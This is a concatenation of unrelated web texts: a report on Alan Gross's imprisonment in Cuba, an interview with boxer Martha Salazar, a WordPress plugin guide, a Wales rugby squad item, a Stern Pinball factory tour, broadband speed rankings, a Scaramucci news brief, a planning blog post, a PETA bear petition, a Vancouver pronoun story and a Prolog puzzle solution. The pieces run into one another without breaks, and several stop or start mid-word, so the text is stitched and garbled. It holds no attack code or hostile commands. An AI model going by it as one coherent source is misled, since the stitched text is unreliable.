The letter comes as Gross’s wife, family and supporters stage a vigil outside the White House to mark the anniversary and call on President Obama to appoint a special envoy to negotiate for his release. His supporters have also released new photos of Gross in his Cuban prison, where he has lost 110 pounds, according to a family spokeswoman.
Gross, working for an Agency for International Development contractor, was arrested on Dec. 3, 2009, and accused of smuggling sophisticated satellite and other telecommunications equipment to Cuba's tiny Jewish community. Gross has said he was only trying to increase internet access in Cuba. But he was convicted by a Cuban court in March 2011 of crimes "against the independence and territorial integrity of the state" and sentenced to 15 years.
Since then, he has lost more than 100 pounds in the Cuban p
The Cuban government has repeatedly said it is willing to negotiate Gross' release but has pressed the U.S. government to release four Cubans convicted of spying now being held in U.S. prisons.
Gross's lawyer, Scott Gilbert, today said his client is becoming "increasingly depressed" in his Cuban jail cell, where he is only allowed out for exercise one hour a day and a light remains on 24 hours a day.
Gilbert sharply criticized the Obama White House for not doing more to work for Gross' release. "From his perspective, they've done little or nothing," said Gilbert. "It's essentially laughable." He said while top Cuban officials have expressed a willingness to talk about Gross without preconditions, the U.S. has not responded to the offer. "As far as I can tell, nothing is effectively being done to obtain Alan Gross' release."
AP Photo/Gross Family Alan Gross (left, with wife Judy) went to trial March 4, 2011 in Cuba on charges he sought to undermine Cuba's government by bringing communications equipment onto the island illegally. A court found the U.S. contractor guilty of crimes against the state and sentenced him to 15 years in prison.
White House press secretary Jay Carney is expected to address the Gross case at today's press briefing. In a statement Tuesday, the White House called on the Cuban government to release him and said his continued imprisonment was an obstacle to U.S.-Cuba relations.
"Today is the fourth anniversary of Alan Gross' incarceration in Cuba," said a White House spokesman. "Cuban authorities arrested Mr. Gross on December 3, 2009, and later sentenced him to 15 years in prison for facilitating uncensored internet contact between a small, religious community on the island and the rest of the world."
"Mr. Gross is a 64-year-old husband, father, and dedicated professional with a long history of providing aid to underserved communities in more than 50 countries. We reiterate our call for the Cuban government to release Alan Gross. His detention remains an impediment to more constructive relations between the United States and Cuba."
More from NBC News Investigations:
Follow NBC News Investigations on Twitter and FacebookHeavyweight boxer Martha Salazar, still fighting, still going strong: Exclusive Q and A
As Sonya “The Scholar” Lamonakis (9-1-2, 1-KO) and Carlette Ewell (15-7-1, 9-KOs) get ready for their heavyweight IBO title bout this coming Saturday, August 2nd at the L.B. Scott Sports Auditorium in Philipsburg, Sint Maarten, Martha “The Shadow” Salazar (12-4, 3 KOs), long considered a “fighter’s fighter” is waiting in the wings with the hope that she can take on the winner.
Girlboxing had the opportunity to pose some questions to Martha Salazar, a former kick-boxer who took to the professional boxing ring in March of 2001. Now at 44, having had a few breaks in her career, Martha hopes to continue in the sport she loves, both as a fighter pushing to gain recognition and a shot at another title fight, and as a mentor and coach to the young amateur women of Beautiful Brawlers Boxing who are striving to become the next generation of female boxing champions.
Here’s what Martha Salazar had to say.
1. When female boxers in the heavyweight division are discussed, your name inevitably comes up. You are considered one of the most skilled in the sport and your title wins were strong showings–not to mention the very close losses. With a career that began in 2001, you’ve had a chance to see the sport change considerably — and gain legitimacy with its inclusion in the London 2012 Olympics. What are your aspirations for your career at this point?
There are three aspirations I have for my career. One, to become the WBC and the IBO world champion. The second to be in the women’s boxing hall of fame as one of the best heavyweights in the world of boxing. Third, to keep sharing the knowledge of boxing as others have shown me. I want to keep inspiring young people to reach their goals in the sport of boxing and in life.
2. Your last fight was a six-rounder against Sonya Lamanokis in April of 2013. You put on a strong showing in a fight with three-minute rounds, an almost unheard of event these days. What is your take on the controversy surrounding that bout and would you consider a rematch with two-minute rounds?
All I have to say about the controversy [of that] fight is that I train 110% for all my fights. Once I get in the ring all I am worried about is to make sure I am punching more [than] my opponent. I am not worried about how long the rounds are while I’m fighting. If I lose it is because I didn’t train hard enough or my opponent was better than me. My team and I have told Lamonakis and her camp that we would give her the rematch anytime and anyplace but always get the same answer, “No. I don’t want anything to do with Martha.”
3. One of the most intriguing aspects of female boxing is the rise of young female amateur fighters. You’ve been very involved in working with Beautiful Brawlers Boxing — Girlboxing readers would love to know more about the organization and your part in it.
Beautiful Brawlers was created to provide a stage for the young boxers to shine on. Our program consists of sparring and support for all female boxers no matter what age or experience. We mentor, coach, train and provide a safe sparring environment for any boxer who walks through that door. We accept everyone for who they are. We create an environment of empowerment and strength for the younger female boxers. Veterans and world champions such as Me, Eliza Olson, World Champ Melissa McMorrow and more teach technique and give guidance. There are also plenty of sparring opportunities. Girls come from all over California to spar with the best. It’s so much fun. Boxing brings us all together.
4. Having begun your career in martial sports as a kick boxer before debuting as a boxer in 2001 — you’ve been a professional for a long time, and while you are entering your mid-forties, current WBC boxer Alicia Ashley is still going strong at 46. Do you feel you still have it in you to continue professional boxing and if so, what can we expect from you over the coming year or so?
At 44 years old I still feel that I have it in me and continue in the sport of boxing. Expect me to have to fights one for a world title and the rematch with Sonya Lamonakis. If she wants it.
5. When you started in the sport, women were still appearing on ESPN and Showtime and on PPV — and now the drought of media opportunities for female boxers in the United States seems almost permanent. Not so in Mexico, Argentina, South Korea and Germany to name a few countries. What do you think has to happen to bring the sport back into the boxing’s mainstream in the US?
We need promoters to put more women’s fights on their shows and for us women to keep pushing as a group the movement of women boxing. PERIOD.
6. As the Olympic Games in Rio loom — giving American amateur boxers a second shot at repeating their medal winning performances, from your vantage point with Beautiful Brawlers, do you feel enough is being done to support these young athletes? What, in your view, are the things that need to happen to help further publicize and get the public behind these amazing young women?
I believe through the Beautiful Brawlers we are constantly helping girls reach their goals. We have a few National champions that trained and sparred with us before the Nationals and were successful when they competed. We have one Olympian Beautiful Brawlers Champion – Queen Underwood, when we asked her if she would participate on the show she said she wanted to take part because it was an all-female show. I believe her being the main event on our last show brought our event to a whole new level. She was a huge role model for these younger boxers. She is an incredible athlete who gives back to others. We as a group share knowledge and that philosophy: to give back so that the younger boxers get better and better, and now that is happening. We have a very good USA Boxing program for women and some train at the Olympic Training Center in Colorado. Females are now given opportunities that have never been given before. These baby steps lead into much bigger things. I do believe that Claressa Shields should have more endorsements and should be given more exposure because she won the Gold medal and she is a beautiful young lady who deserves the credit. Shows like the Beautiful Brawlers give these champions a place to shine because we match the best against the best.
7. It’s obvious that in your career, you’ve chosen to “give back” to other young people by offering your sage counsel and efforts at coaching. What do you hope for the future for yourself as you continue to play a role in the sport you love
For me, I want to fight and win a World Title. I want to legitimize the Heavy Weight Division by showing there are very skilled boxers in our division. I will always give back to the girls what boxing has given to me. Boxing has always been my passion and it will always be.
Many thanks to Martha Salazar for sharing her thoughts with us!
***
Video of Martha Salazar in her WBC heavyweight title bout versus Vonda Ward from February 10, 2007. Vonda Ward, at 6’6″ had a large height and reach advantage over the 5’9″ Salazar who held her own throwing a succession of excellent overhand rights, in a well fought 10-round battle. Ward won a split-decision, 93-97 x 2, 95-95. You be the judge!Today’s article is a bit of a PSA: we’re working to spread awareness of five simple solutions that improve WordPress in key ways.
One of the best experiences in WordPress is, “Wow, I had no idea that existed.” WordPress is a huge ecosystem, and the thousands of smart people who’ve touched it over the last ten years have solved an awful lot of problems.
So in many cases, the only obstacle to taking a big win in WordPress—your life is suddenly better, with no downside—is knowing that the win is out there.
Today’s article is a bit of a PSA: an introduction to what I believe are five of the most important “WordPress wins”: simple solutions that improve WordPress in key ways.
Defining a Win
A “WordPress win,” as defined here, has the following qualities:
It’s free. It thoroughly and easily solves a problem in WordPress. The problem it solves is important and otherwise painful. It’s broadly useful across nearly all WordPress sites.
All five of these wins are well-known among WordPress developers, and if you’re well-versed in all of them, congratulations.
However, WordPress users, and even developers, often don’t know about surprisingly visible areas of WordPress wonderfulness, and shining a light into those corners is the aim of this article. If one in five readers learns for the first time about one in five of these features, I think that’s great—and I’m pretty sure we can hit those numbers.
Let’s get started!
1. Pretty Permalinks (WordPress Core Feature)
WordPress’s default permalink structure is “ugly” for both humans and search engines.
WordPress’s permalink structure—the way its URLs are generated—are “ugly” by default, looking something like: http://site.com/?p=7379.
This default structure is ugly for two important reasons. First, a human can’t remember it. Second, Google and other search robots use a page’s URL as a way to understand its contents, and since the default structure gives no information, ugly permalinks sacrifice SEO for no good reason.
WordPress’s permalink structures are extremely easy to change. In the main admin menu (the menu beginning “Dashboard” along the left in the WordPress administration area), navigate to Settings > Permalinks. You’ll see a lot of options for new permalink structures.
Unless you have a specific reason to choose another one, probably the best and easiest permalink structure is the “Post name” option in “Common Settings.”
Once you’ve chosen this structure and saved your changes, your posts and pages will be prettily permalinked—automatically, across the site. For example, a post titled “Appraising Antique Cars” would now appear at http://site.com/appraising-antique-cars.
This is one of WordPress’s easiest wins for both Google and your users. Unless you have a particular reason not to, you should do it by default on every WordPress site you work with.
2. Akismet (Plugin)
Akismet is the best and only programmatic solution you need to prevent WordPress comment spam.
Akismet is one of only two plugins that come bundled with WordPress by default. The second one, Hello Dolly, is stupid, but Akismet is really important.
Akismet is the best and only programmatic solution you need to prevent comment spam on your website. Comment spam looks as follows:
Combined with active comment alerts (“Email me whenever anyone posts a comment” checked in Settings > Discussion), I’ve actually seen WordPress comment spam take down a site owner’s personal email. The solution was to install Akismet—a two-minute fix, but one which neither the site owner nor the original developer knew about.
Akismet slows spam comments to a trickle: you’ll get, at most, a few very sophisticated spam comments a day, rather than a firehose blast of gibberish swamping your site. (For advice on working with comments that do come through, see our article on the subject.)
Activating Akismet is a bit more complicated than activating a regular plugin, because you’ll first need an API key, which Akismet associates with a WordPress.com account. Follow Akismet’s instructions for generating the key, and then write down the key somewhere: you can use the same API key to activate Akismet on multiple sites, so you’ll only have to go through this generation process once. Don’t let this process dissuade you from getting Akismet, which is really the must-have plugin for every WordPress site.
3. All-in-One WP Migration (Plugin)
As it says on the tin, this plugin simplifies painful and difficult WordPress site migrations down to two clicks.
I’ve written about this plugin before, because it’s one of the best plugins I’ve ever seen.
WordPress site migration is painful and difficult. Every WordPress site is made up of a filesystem and a database. Migrating the two are two very different processes: file transfers versus MySQL exports and imports. What’s more, you can migrate everything properly and still have a wrecked site because of old information in the database (for example, hardcoded image links to http://oldsite.com/image.png ), as well as bad.htaccess rules (which relate to the web server’s expectation of where everything is located).
So it’s a mess. Manually migrating a WordPress filesystem and database can feel a bit like migrating the walls and roof of a house separately, while trying to keep the house itself from falling apart.
Enter All-in-One WP Migration, which does exactly what it says on the tin. Through a lot of very complicated internal machinations, this plugin simplifies the entire WordPress site migration process to two clicks: one to export the old site, and one to import it onto the new site. All the failure points of a site migration—from missing files to obsolete database data to bad.htaccess rules—are completely handled by default.
There are other relatively elegant migration solutions, but they tend to be paid, and in my experience they don’t have the “all-in-one” quality that gives this plugin its name. I’ll also mention that I’ve had occasional problems with this plugin, mostly on sites with bad hosting. (The plugin sometimes hits timeout limits and may inspire other problems from irritable servers.) But when it works, which is 90% of the time, it lets you forget all about the complexity of site migration. That’s worth checking out.
4. Enable Media Replace (Plugin)
WordPress has no “overwrite media” feature; this plugin adds it.
Along with Akismet, this is one of the two plugins I install on every WordPress site I work with, because it fills a “small but gaping” hole in WordPress core.
WordPress, by default, has no “overwrite media” feature. To take a simple example, let’s say we upload a PDF called brochure.pdf. Then we find a typo on the cover page, and we want to upload a corrected version. We’re forced to:
Delete the existing brochure, briefly breaking all links to the file across the site. Reupload the revised file, making sure it has the exact same filename (and is being uploaded in the same month) as the file it replaces. Otherwise, all existing links to the file across the site will remain broken, and must be fixed manually.
Enable Media Replace gives you this overwrite power. You can overwrite the site’s version of brochure.pdf with a file on your computer called brochure_typos_fixed.pdf, and the new file will simply adopt the brochure.pdf name and full permalink. You never have to break links across your site, or “delete and reupload” media you mean to simply revise or replace.
The only warning with this plugin has to do with image uploads: if you replace an existing image with a new image of different dimensions, WordPress will automatically generate image sizes based on the new dimensions. This will break links to automatically generated sizes of the old image, if those sizes are “soft-cropped” (resized) rather than hard-cropped (actually cut to fit).
For example, let’s say you have a soft-cropped image size that’s 400px wide. You’ve uploaded image.png, originally 1200px by 900px, and in one of your posts you’re linking to the resized version: image-400x300.png. If you now upload a new version of the image that is square (say, 1200px by 120 |
iate's hamstring strain kept him out of Friday's trial in Swansea.
Edwards also said prop Samson Lee (shoulder) should train this week.
With open-sides Sam Warburton and Justin Tipuric injured, British and Irish Lions back-row Lydiate could switch from blind-side to fill the gap at seven.
Wales' tour of South Africa 10 June: Warm-up match v Eastern Province Kings in Port Elizabeth 14 June: First Test, Durban 21 June: Second Test, Nelspruit
Versatile Scarlets back-rowers Aaron Shingler and Josh Turnbull have also played at open-side in the past, as has regular Wales number eight Taulupe Faletau.
But 35-cap Lydiate, 26, would appear to be favourite to cover for shoulder injury victims Warburton and Tipuric.
Wales' warm-up match against Eastern Province Kings in Port Elizabeth will be followed by Tests in Durban on 14 June and in Nelspruit a week later.
"I think Dan Lydiate probably needs a bit of a run-out before then [the first Test]," said Edwards. "So whether he's involved in the first game I'm not sure, but we'll decide that later.
"To give him confidence I think it would help him to have a little bit of game time. But Dan Lydiate is the kind of player who's an integral part of our team, maybe we'd even take a chance with him without playing in that game."
Scarlets tight-head Lee joined fellow Probables Jamie Roberts (shoulder) and Ken Owens (leg) in coming off in the trial against Wales Possibles at Liberty Stadium.
"We think they'll all be training later in the week and even Samson Lee is a positive scan," said Edwards.
"We'll re-assess him later in the week, but he seems pretty positive in himself. At first we feared the worst with Samson."
WALES SQUAD
Forwards:
Gethin Jenkins (Cardiff Blues), Paul James (Bath), Adam Jones (Ospreys), Rhodri Jones (Scarlets), Samson Lee (Scarlets), Aaron Jarvis (Ospreys), Ken Owens (Scarlets), Matthew Rees (Cardiff Blues), Scott Baldwin (Ospreys), Alun Wyn Jones (capt, Ospreys), Luke Charteris (Perpignan), Jake Ball (Scarlets), Ian Evans (Ospreys), Aaron Shingler (Scarlets), Josh Turnbull (Scarlets), Dan Lydiate (Racing Metro), Taulupe Faletau (Newport Gwent Dragons), Dan Baker (Ospreys).
Backs:
Mike Phillips (Racing Metro), Gareth Davies (Scarlets), Rhodri Williams (Scarlets), Dan Biggar (Ospreys), James Hook (Perpignan), Steven Shingler (Scarlets), Jonathan Davies (Scarlets), Jamie Roberts (Racing Metro), Cory Allen (Cardiff Blues), Alex Cuthbert (Cardiff Blues), George North (Northampton Saints), Jordan Williams (Scarlets), Matthew Morgan (Ospreys), Liam Williams (Scarlets).How the last major pinball company handcrafts its machines
Share How the last major pinball company handcrafts its machines
Stern Pinball turns 30 this year, and the last of the major pinball creators in the world decided to celebrate with a blowout party this month.
The pinball creator is hosting an anniversary party at Viper Alley in Lincolnshire, Illinois, this Friday. The event will include appearances by Barenaked Ladies frontman and pinball player Ed Robertson; Chicago musician Aly Jaydos; sword swallower Sally Marvel; Magic Randy; Mindy the Monkey; Ghostbusters' Ernie Hudson; and Batman's Adam West.
I had a chance to swing by the relatively new offices of Stern, a dozen miles or so away from Chicago O'Hare airport, to chat with them about the process of making machines and to get a tour.
All of Stern's machines are designed and prototyped in-house. Once approved, the creations are broken down and the designs for each sent out for manufacturing. With that single exception, everything else is done inside this single office and assembly plant.
The office takes up a small part of Stern's new location, through the back, where the carpet turns to concrete, the cubicles are replaced by rows of assembly stations, nests of wire, tables, toys and lots of workers.
I arrive an hour early, thanks to the time difference and my inability to use Google Calendars. Someone walks me back to the assembly plant. The massive, open room echoes with the thumps of pinball kickers, flippers and the occasional jangle of a pinball working its way through a cluster of bumpers.
Along one wall is Stern's employee "arcade." It includes a wide selection of nearly every machine Stern has ever manufactured, all set to free play. Among the titles buzzing and bumping away is Lazer Lord — Stern's first — a game designed not around the space wars and science fiction, but laser tag.
About 20 minutes and an embarrassing number of low scores later, Jody Dankberg, Stern's director of marketing and licensing, comes by to walk me through the assembly process.
Dankberg and I marvel at the process of turning reels of fine wires into the wiring harnesses that bring pinball machines to life.
"We can't really automate this stuff," he said. "It has to be done by people.
"The amount of detail, the amount of parts, the amount of logistics. To be able to have all of the inventory to do this and have the people to do this, it gets a little out of control."
We walk by one room that I'm not allowed in. It's the automated testing area. While the machines are all tested by hand, they also test machines using robots.
(I can't help but imagine, when I'm told this, a T-1000 standing shoulder-to-shoulder with C-3PO grinding against the machine to pop a ball out of the center lane and into a flipper. Unfortunately, I could neither prove nor disprove this vision.)
Dankberg and the folks I run into during my tour all seem exceedingly proud of their work and the machines Stern puts out each year.
"Each machine takes about 30 hours, or about four working days, by about 200 people to assemble," Dankberg said. "Now designing and building a machine, that's about a year and a million dollars."
Design
"We make three cornerstone titles a year," Dankberg said. "Our business depends on those three cornerstone titles doing relatively well to help us do other projects and grow the company, so we have to be really calculated in how we pick."
The process of deciding what to turn a table into, more often than not, is tied to a license.
The license has to be something that's global, can make for a good game and that the license holder is willing to provide significant support.
Dankberg says getting the license for, say, Ghostbusters — and if Sony only allowed Stern to use the name and font — wouldn't be very good. It has to include Slimer, the song and some of the original cast, or fans won't like it.
Once a title is selected, it has to be paired up with a designer. Stern has three design teams, including legendary designer, and "master of flow" Steve Ritchie.
Each team has two leads: the designer and a programmer. The duo work together, brainstorming ideas of what a table should be.
"The take these concepts like what would make a fun toy, what would be a fun interactive thing or what would make it pinball," Dankberg said.
Once the concept is roughed out, it goes to the designer who works on the layout and geometry of the board. Each designer has their own process.
"Steve Ritchie is the king of flow," Dankberg said. "He's there with a ruler measuring angles, making sure everything fits. Some people like to build it out and see how it plays first."
The initial board designs are build on a whitewood, or an unpainted wood playfield.
"We'll cut a table, make some prototype parts," Dankberg said. "Then they'll test it.
"The whitewood stage could be really short or really iterative. If they hit a homerun at first, how great is that? But a lot of times they like to change things. It's like a first draft."
Once the board design is roughed out, it's hooked up to a CPU and the designer starts to build out the game.
"They might turn on the lights first," Dankberg said, "then add some Rube Goldberg action, then decide what type of game it is; is it about scoring or spelling something out? How many different scenarios will there be when the ball is wild?"
Once the two leads finish their work, the game branches out to the rest of the design team, including junior programmers, electrical engineers and mechanical engineers — and then it's tested by robots. (Nope, they still wouldn't let me in.)
Finally, they have a design that can be sent out for manufacturing.
Monopoly
There was a time, back in the early '90s — the golden age of pinball — that Stern was assembly 300 machines a day. But that time is long gone and with it, the notion of a pinball industry.
While Stern isn't the only pinball company in the world anymore, it almost might as well be.
"There are others trying to make pinball machines," Dankberg said. "I think it would be fantastic if someone else came along and was really successful at it. Because that would make an industry."
Among the others are Jersey Jack, which made The Wizard of Oz and The Hobbit tables; Spooky, which made Rob Zombie's Spookshow International; Dutch Pinball, which made a Big Lebowski machine; and Heighway Pinball, which made Full Throttle and is working on an Alien table.
But even the biggest of them, Jersey Jack, has only designed two games in the past six or so years. Stern created 20 in the same time frame.
Dankberg says they're not successful enough yet to be considered competition, something he hopes will eventually happen.
"I want someone to be successful," he said. "We probably do 99.9 percent of the games shipped. That's not an industry, it's a monopoly.
"I come from the music industry business where there are dozens of guitar companies and guitar amplifier companies and it creates competition, it creates variety. My goal as a marketing guy is that I want all of them to get big. I want everyone to know about pinball. I want the conversation to go from, 'Oh, pinball, I didn't know they still made that," to "Oh, pinball, I just placed AC/DC it was great. I think there needs to be more of us to have that happen.
"I wish all of them well because I want there to be a successful pinball industry."
Grid View Every part for a pinball table has to be checked before it is assembled.
Every angle and screw hole has to be verified
The intricate wiring of a pinball machine is assembled by hand on these boards
Each board was made for a specific table design
Once the cabling is bundled, the delicate wires are hand crimped
The crimped wires are bundled together by table
Once bundled, they're labeled
Then they go through another assembly to add connectors
These are then moved over to a checking area
Each bundle of wires is connected to a tester to verify the wires are all assembled correctly and work
The artwork for the tables are also applied by hand to each table
The cabinets for the tables come in as blanks
Once the artwork is added they are stacked up
These cabinets are awaiting playfields, backbox, legs and glass
Stern sometimes creates tables for other companies
Most machines at Stern are already allocated to a customer
Once assembled with inserts, a playfield is pressed perfectly flat with this machine
This is one of the original presses used by Gottlieb. Stern uses it for every single machine they make
Once pressed, the playfields are stored away for assembly
A pressed playfield
Most modern pinball machines have a variety of toys, like this table for The Walking Dead
A spinning reel used for scoring on Whoa Nellie
The drawbridge used in Medieval Madness
Slimer toy for the Ghostbusters table
Gene Simmons' Demon head on Kiss table
Each toy has to be tested rigorously, to ensure they work
Medieval Madness' drawbridge assembled into its castle
Games of Thrones table being tested
Sometimes machines are sent back for repairs, like this Kiss table
This autograph Kiss table is being tested
Each machine has to be play tested for hours to ensure it works properly
Here's a Star Trek table being tested before shipping
Pabst recently ordered custom tables from Stern for a promotion
The Metallica playfield
Pinball machines awaiting pick-up for shipment to customers
During their breaks, Stern employees can visit the free-play arcade on the assembly floorIf you want the fastest broadband Internet in the US, consider moving to Virginia. That’s the takeaway from a new bit of research from communications firm Broadview Networks, which ranks average broadband speeds for all 50 United States and the District of Colombia.
Virginia tops the list with an average connection speed of 13.7 megabits per second (about 1.7 megabytes per second), while Alaska pulls up the rear at a relatively meager 7Mbps (about.875 megabytes per second). Delaware and Massachusetts are tied for second fastest at 13.1Mbps; Rhode Island and the District of Colombia round out the top five with average speeds of 12.9 and 12.8Mbps, respectively.
Broadview Networks
Broadview’s research—an analysis of data provided in Akamai’s State of the Internet Report—shows that California ranks 20th, with an average speed of 10.9Mbps (1.36MB/sec): A surprising result, perhaps, given the fact that it’s home to Silicon Valley.
In general, Broadview found that Midwestern and Southern states lagged behind the Northeast and West Coast in average speed.
It goes without saying, but average Internet speeds don’t tell the whole story: Actual connection speeds can vary widely depending on your provider, your connection type (DSL, cable, and so on), and where you live. If you would like to get an idea of how your provider stacks up, YouTube’s Video Quality Report can give you a snapshot of how your ISP compares to others in your area.Anthony Scaramucci has resurfaced on public radar. Without much warning Wednesday, the former White House communications director announced via Twitter that he was launching the “Scaramucci Post” — a new online news entity.
Mr. Scaramucci simply advised the curious to “get ready,” and that the new venture was “coming soon. There’s already a slick blue and white logo for the namesake enterprise.
The Scaramucci Post itself also went live on Twitter and immediately attracted close to 7,000 followers within hours — plus commentary and mentions from Newsweek, Boston Globe, Huffington Post, The Hill, Fortune, and The Cut.com, which asked, “Oh God, is Anthony Scaramucci starting a new media company?”
The newly minted media mogul gleefully retweeted everything. He also announced yet another project, this delving into the world of celebrity sightings and gossip.
Mr. Scaramucci — who lasted 11 days in his role at the White House — will co-host “TMZ Live” with regular presence Harvey Levin on Monday.
“It’s going to be awesome,” Mr. Levin noted in a statement.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Kudos to Planning magazine for an insightful and interesting article in the January 2014 edition on the Atlanta BeltLine. Entitled, “Emerald Necklace, Southern Style,” author Alexander Garvin provides a terrific summary of this project by means of an excerpt from the soon to be published book, Planning Atlanta, which is due out in April.
This remarkable project of knitting neighborhoods and parks within the City of Atlanta together via trail and rail was the brainchild of then student Ryan Gravel. It must be quite rewarding to see his thesis become something other than a dusty memory on a bookshelf. Mr. Gravel and those who took up the challenge with him should be commended for their foresight and persistence. I am greatly looking forward to hearing much more about this exemplary project next week (Feb 13th) at APA Michigan’s “Transportation Bonanza” where Atlanta BeltLine President and CEO Paul Morris, FAICP will be making a formal presentation.
My only wish is that more cities around the country would have the guts to take a bold, sustainable concept and turn the vision into reality. So often, innovative ideas are cast off as whimsical, pie-in-the-sky, or unrealistic by those who are wholly entrenched in the status quo or can’t see beyond the end of their own nose. Too bad, because those narrow minded cities are likely destined for the trash pile of yesterday’s news.
Thankfully, such is not the case with Atlanta’s Beltline, or New York City’s High Line, or Blue Island’s Cal-Sag Trail, or Indy’s Cultural Trail or Detroit’s Dequindre Cut Greenway. Each of these projects stands out as a testament of good planning…projects that we as planners must celebrate as bold visions and as superlative achievements.
AdvertisementsUrge Three Bears General Store's Owner to Send Bears to a Reputable Sanctuary
Three Bears General Store, a deplorable roadside attraction in Pigeon Forge, Tennessee, confines four Asiatic black bears to a virtually barren concrete pit. They spend their days in cramped, severely crowded conditions and have essentially nothing to do except stare at the walls and beg tourists for food. They're deprived of any way to satisfy even their most basic needs—they can't roam or forage for food, and they aren't given the opportunity to hibernate in the winter. In the wild, Asiatic black bears are far-ranging animals who interact with other bears only minimally. But at this facility, four are imprisoned in a single concrete pit, without appropriate mental stimulation and deprived of everything that's natural and important to them. As a result, they fight with each other, and according to an employee of the store, this is a common occurrence. PETA's aware of at least one incident that resulted in open, bleeding wounds. Forcing incompatible animals to live together in a small pit is inhumane, and they need our help.
Three Bears has a lengthy history of animal-welfare violations, including allowing moldy excrement to accumulate in the bears' enclosure, failing to provide them with adequate veterinary care, and failing to provide them with clean drinking water. Recently, one bear was seen dragging her back leg. Arthritis and foot injuries in captive bears are often caused by obesity and living solely on concrete. It's time that these animals were released from their prison and moved to a reputable sanctuary where they would have proper care and opportunities to roam and forage.
In 2014, PETA rescued two Himalayan black bears who'd been confined to a tiny cage in a residential backyard in Sevierville, Tennessee, by the owner of Three Bears, Bill DeLozier. They now live at The Wild Animal Sanctuary in Colorado, where they have soft grass and wide-open space and are hibernating each winter, likely for the first time in their lives. Five bears had remained at the roadside zoo, but one bear, Honey, has since died, never having had the chance to feel soft ground beneath her feet or enjoy space to roam and look at the horizon.
Help us give the four remaining bears a better life!
Join us in urging DeLozier to end the exploitation and send the bears who are suffering at Three Bears to a reputable sanctuary, where they'll get the space and high-quality care that they need and deserve.Vancouver public school student Rowan Reimer spoke at the school board's hearing, explaining how she snuck into bathrooms in fear of other students catching her using the "wrong" one. CBC News After four rowdy rounds of voting, the Vancouver School Board approved a new string of gender-neutral pronouns Monday: "xe," "xem," and "xyr," the Vancouver Sun reports.
The grammatical additions, pronounced "zee," "zem," and "zare," according to the Globe and Mail, will replace "he" or "she," "him" or "her," and "his" or "hers," respectively.
The policy intends to better accommodate transgender students in schools. Someone unsure of a transitioning student's gender could use the generic "xe," and students who don't identify with either gender, typically known as agender, could choose to go by "xe," as well.
"We're standing up for kids and making our schools safer and more inclusive," board member Mike Lombardi told the Sun.
But not everyone approves of the movement. One of the most vocal dissenters, Cheryl Chang, chair of the Parent Advisory Council for Lord Byng Secondary Schools, thinks gender identity is a medical issue that schools shouldn't address.
"This is not a meaningful conversation. This is politics of division. It's getting people upset and angry," she told CBC News.
While some consider "they" gender-neutral, the word is technically plural, enraging old school grammarians. But the school board didn't just pull the idea for specific gender-neutral pronouns out thin air. While it would address some sex-discrimination, the idea is hardly new.
In 1789, William H. Marshall recorded the existence of the gender-neutral pronoun "ou." "Ou will" meant "he will," "she will," or "it will," according to Dennis Baron's "Grammar and Gender." "Ou" stems from the Middle English epicene "a," used in the 14th century by writers for "he," "she," "it," they," and even "I."
From there, Don Rickter is the most widely accepted inventor of "xe," xem," and "xyr" in 1973.
Another modern version of gender-neutral language are the Spivak pronouns. By dropping the "th" from "they," "them, and "their," mathematician Michael Spivak created "ey," "em," "eir," widely used by LGBTQ advocates.
Despite intense debate, English has included provisions for gender-neutrality in grammar well before these issues revealed themselves.Solving PuzzlOR "Electrifying" puzzle with constraint logic programming
PuzzlOR's problem for December 2014–February 2015 was "Electrifying": http://puzzlor.com/2014-12_Electrifying.html
The puzzle asks to find the best placement of the 3 generators to power all the houses. Each house connects to one (the nearest) of the generators, and the cost of the connection is proportional to the Euclidean distance between the house and the generator. The best placement is the one that minimizes the total cost.
Recently Isaac Slavitt blogged about how to solve the puzzle with brute force and simulated annealing, and Jean-Francois Puget demonstrated an integer programming approach with CPLEX.
I want to show how the puzzle can be solved with constraint logic programming and ECLiPSe CLP.
Constraint logic programming is a logic programming extension that includes concepts from constraint satisfaction.
ECLiPSe CLP is an open-source Prolog-based system with a good support for modeling and solving problems with constraint logic programming. Constraint programming is not particularly well-suited for solving the "Electrifying" puzzle because the distances are reals, not integers. Some constraint programming systems and libraries can't work with reals, but ECLiPSe's library ic supports real interval arithmetic.
Here is my complete program to solve the puzzle using ECLiPSe (https://github.com/kit1980/sdymchenko-com/blob/master/electrifying-eclipse/electrifying.ecl):
:- lib ( ic ). :- lib ( branch_and_bound ). solve ( HouseXs, HouseYs, K, GenXs, GenYs, Cost ) :- dim ( HouseXs, [ N ]), MaxX #= max ( HouseXs ), MaxY #= max ( HouseYs ), dim ( GenXs, [ K ]), dim ( GenYs, [ K ]), GenXs :: 1.. MaxX, GenYs :: 1.. MaxY, ( for ( I, 1, N ), foreach ( Di, Distances ), param ( HouseXs, HouseYs, GenXs, GenYs, K ) do ( for ( J, 1, K ), fromto (1.0Inf, Dprev, Dcurr, Di ), param ( I, HouseXs, HouseYs, GenXs, GenYs ) do Dcurr $= min ( Dprev, sqrt (sqr( HouseXs [ I ] - GenXs [ J ]) + sqr( HouseYs [ I ] - GenYs [ J ]))) ) ), Cost $= sum ( Distances ), bb_min(labeling([]( GenXs, GenYs )), Cost, bb_options { delta: 0.1}). main :- HouseXs = [](2, 2, 3, 3, 4, 4, 5, 5, 5, 5, 6, 6, 7, 7, 8, 8, 8, 9, 9, 10), HouseYs = [](2, 5, 6, 8, 2, 10, 2, 3, 6, 8, 1, 5, 2, 8, 5, 7, 8, 4, 7, 3), solve( HouseXs, HouseYs, 3, GenXs, GenYs, Cost ), ( foreacharg ( X, GenXs ), foreacharg ( Y, GenYs ) do LetterCode is 0'A + Y - 1, char_code ( Letter, LetterCode ), write ( X ), write ( Letter ), nl ).
The heart of the program is the solve predicate. It has 3 input parameters: HouseXs, HouseYs – arrays of X and Y coordinates of the houses, and K – the number of generators. The 3 output parameters are GenXs, GenYs, and Cost – the X and Y coordinates of the generators and the cost of the whole system. N is the number of houses. MaxX and MaxY are used to constraint the maximum coordinates of the generators.
There are two nested ECLiPSe loop constructs. The param parts just define what variables are non-local to the loop.
In the outer loop, for(I, 1, N), foreach(Di, Distances) means that as I iterates from 1 to N, Di are collected to the Distances – the list of distances from every house to its nearest generator.
The inner loop iterates over generators from 1 to K to define Di as the smallest of all Euclidean distances from I -th house to J -th generator. fromto(1.0Inf, Dprev, Dcurr, Di) is similar to the following imperative sequence: initialize Dprev with infinity, on each loop iteration define Dcurr as minimum of Dprev and the distance expression and then redefine Dprev as Dcurr, and after the loop define Di as Dcurr.
